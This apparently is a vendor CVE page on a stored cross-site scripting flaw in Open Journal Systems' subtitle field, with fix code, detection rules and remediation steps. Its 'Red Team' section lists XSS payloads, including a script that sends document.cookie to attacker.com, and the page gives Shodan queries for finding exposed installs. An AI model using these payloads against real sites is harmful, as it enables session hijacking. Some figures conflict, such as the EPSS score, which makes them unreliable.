☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-24512

CVE-2024-24512 Cross-Site Scripting in Pkp
📅 PUBLISHED: 2024-03-01 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.30%
👁️
0.30% probability
7.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-24512 is a Cross-Site Scripting (XSS) vulnerability identified in PKP Open Journal Systems (OJS) version 3.4. The flaw resides in the input subtitle component, allowing an authenticated or unauthenticated attacker (depending on the component's exposure) to inject arbitrary JavaScript code. This can lead to session hijacking, defacement, or redirection of users to malicious sites. As of this report, no official patch has been released, and the CVSS score is listed as 0.0 (likely unassigned or placeholder). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

OJS is a PHP-based application distributed via GitHub and official PKP channels. No NPM, PyPI, Go, or Ruby packages are involved. The vulnerability is in the core application code, not a third-party library.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Unassigned)
  • Vector: UNKNOWN
  • Attack Vector: Network (likely)
  • Attack Complexity: Low (likely)
  • Privileges Required: None or Low (depends on component exposure)
  • User Interaction: Required (victim must view the malicious subtitle)
  • Scope: Changed (XSS can affect other resources)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium (due to lack of patch and potential for targeted attacks)

Deep Dive & Mechanics

The vulnerability is a stored XSS in the subtitle input field of OJS 3.4. The application fails to properly sanitize or encode user-supplied input before rendering it in the HTML output. An attacker can inject a payload such as:

<script>alert('XSS')</script>

When an administrator or editor views the submission with the malicious subtitle, the script executes in their browser context. This can be used to steal session cookies, perform actions on behalf of the victim, or redirect to phishing pages.

The vulnerable code likely resides in a template or controller that outputs the subtitle without escaping. For example:

// Vulnerable code (hypothetical)
echo $subtitle;

Instead of:

// Patched code
echo htmlspecialchars($subtitle, ENT_QUOTES, 'UTF-8');

Vulnerable vs. Patched Code

Vulnerable (OJS 3.4):

// In a template file (e.g., templates/submission/submission.tpl)
{$subtitle}

Patched (Expected fix):

{$subtitle|escape}

Or in PHP:

echo htmlspecialchars($subtitle, ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team

  1. Setup: Deploy OJS 3.4 locally using Docker or manual installation.
  2. Craft Payload: Create a submission with a subtitle containing:
    <img src=x onerror=alert(document.cookie)>
    
  3. Trigger: Have an admin view the submission. The XSS fires.
  4. Advanced Payload: Steal cookies via:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    

Blue Team

  1. Detection: Monitor for unusual subtitle content containing <script>, <img onerror>, or encoded JavaScript.
  2. Mitigation: Apply input validation and output encoding. Use Content Security Policy (CSP) headers.
  3. Hunting: Search logs for requests to /index.php/*/submission/* with suspicious query strings.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from OJS server.
  • File: Modified submission records in database with JavaScript payloads in subtitle field.
  • Log: Access logs showing GET /index.php/*/submission/* with subtitle= parameter containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2024_24512_OJS_XSS {
    meta:
        description = "Detects XSS payloads in OJS subtitle fields"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24512"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]+onerror\s*=/i
        $xss3 = /<svg[^>]+onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: OJS Subtitle XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS payloads in OJS subtitle fields
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'subtitle='
        cs-uri-query|re: '(<script|<img onerror|<svg onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in subtitle (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24512 OJS Subtitle XSS Attempt"; flow:to_server; content:"subtitle="; nocase; pcre:"/(<script|<img onerror|<svg onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the subtitle input field or apply a WAF rule to block XSS patterns.
  2. Short-term: Manually patch the code by adding htmlspecialchars() or |escape to the subtitle output.
  3. Long-term: Upgrade to a patched version once PKP releases it. Monitor PKP GitHub for updates.
  4. Compensating Controls: Implement Content Security Policy (CSP) headers to restrict script execution.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Open Journal Systems"
http.html:"ojs" "pkp" "subtitle"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-24512/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.